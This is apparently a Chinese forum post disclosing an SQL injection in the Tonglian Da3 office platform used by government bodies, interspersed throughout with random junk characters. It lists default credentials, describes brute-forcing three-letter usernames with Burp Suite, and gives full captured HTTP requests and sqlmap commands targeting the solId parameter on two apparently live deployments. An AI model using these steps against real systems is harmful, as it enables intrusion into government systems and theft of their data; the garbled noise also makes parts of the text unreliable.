同联Da3协同办公平台前台通用sql injection漏洞

admin

: Z( C: K/ E' [

4 y4 S. ?) C2 L3 k

平台简介：

k) ~! K7 [1 k% m \6 @

9 l8 X, L0 D X8 D7 \0 C5 J  

' @/ k* s. j/ R) }$ P

3 S" T1 N: Q- U. b: U; _ 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
7 j% s0 a" F* i2 ?7 L同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ ' \2 e' m- ^8 H x- v# L7 ^/ s

8 Z6 e1 c+ K' M0 }

 

~5 u) V3 B- A0 ^& ^: `

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

* k2 j& |' t5 K) B. c% |

& ]; Q& z+ ?; @. x/ l# L   , q4 B# H2 @1 n& O. P6 I9 ~( i

http://1.1.1.1:7197/cap-aco/#（案例2-） + x% W1 q' f4 u# A+ @2 j) @

http://www.XXOO.com （案例1-官网网站）

- B3 `" T2 l; \, s) i

 

* c+ G; V( V) _0 V. s' ^

漏洞详情:

. s3 `* Y2 I L

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

2 j& D7 j2 p8 j2 H+ ]

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ! [, o0 G# u" ~' D

6 J3 ], O# v; I( i( A  

0 P. J& ?7 _' z9 B# l. J0 x

1 ]' X$ ]4 P7 U3 C) {1 e" l R   " m! c% }. i7 d& y. }' Y

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站 8 _4 j" |& A1 \+ u' E* M6 S) K

2 N T) o! j( T! R2 G

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 9 t! r* k& Z8 r5 c. k; g

& v5 ]0 d$ k! Q9 j" @% @

% Q7 I2 t8 B8 w; k" ^. c Host: www.XXOO.com

Proxy-Connection: Keep-Alive 6 t1 x' t! w# J4 W) s; G4 Q

4 L2 N$ Q! P& o. T3 }" U

Accept: application/json, text/javascript, */*; q=0.01

$ _+ s! {4 k; F5 U6 b

/ V/ x5 T" [5 x- X+ `1 \4 N+ T Accept-Language: zh-CN $ v- n% `0 k [* |

7 C9 I6 |. z# e6 q0 F

Content-Type: application/json

& v( c( F* h0 s

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko * [* x' Y# ?& C( P; c

X-Requested-With: XMLHttpRequest

; L; O& A/ t ~4 `, t

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 2 [ H1 x3 E0 u5 {" l. W2 P/ l

Accept-Encoding: gzip, deflate, sdch 0 |$ g+ U+ ?, }

8 b' K0 ?) i2 j0 m0 a+ f

" z, e* |3 y- e( e K Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 7 k! _4 v( M9 D+ i' q3 S7 t

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: - q- h0 Z# `3 y) ~! ?5 V2 z

- r H, b7 i2 s. x. `* P' B

 

; ^4 U3 e# Q$ I! Q/ H

z6 n4 a. c! z# l! M& s   ; M: ]5 W1 `- _# g5 d' k0 o3 |

, |* j& ~ h: s2 |$ @, Z7 K7 i6 c

4 s0 o6 U( s' r  

 

5 l7 ~2 A3 @* S& R8 Z/ w

  2 o2 Z* k! ?3 A; Y: {* Q$ _" Z

2、案例2-某天河云平台

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

Host: 1.1.1.:7197 3 N3 G+ J% g' n$ k

' n$ G, ~2 D$ m

) D; h& y0 [- \ Accept: application/json, text/javascript, */*; q=0.01 8 W# z" ]7 p. f2 H- m

X-Requested-With: XMLHttpRequest

; ~: E* E( B4 {; m5 h User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 " H% X; |1 S9 b7 e6 V

& d8 x/ N, g' N, z) p$ b$ j% w

Content-Type: application/json * j2 Q$ h/ c/ l7 s& d1 m+ w

# j1 i) j( {1 S0 ~+ W

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 3 e! X# a6 B' t4 K/ y' h$ Y

0 Q& X: D% t. v% F- T/ f! U% ~* N; x

( s! F0 B: Y, c) C7 M Accept-Language: zh-CN,zh;q=0.8

H8 ]& Y+ G9 K, v8 c3 h- |* m; K Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 % m# a! X% u. k

Connection: close

: N" A+ k7 D+ z7 e- E8 u

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: * g% t# Q0 K0 S f+ v% {

$ b9 j' V h* `: m$ _8 E1 G  

: I3 r. B. N$ |0 ^; t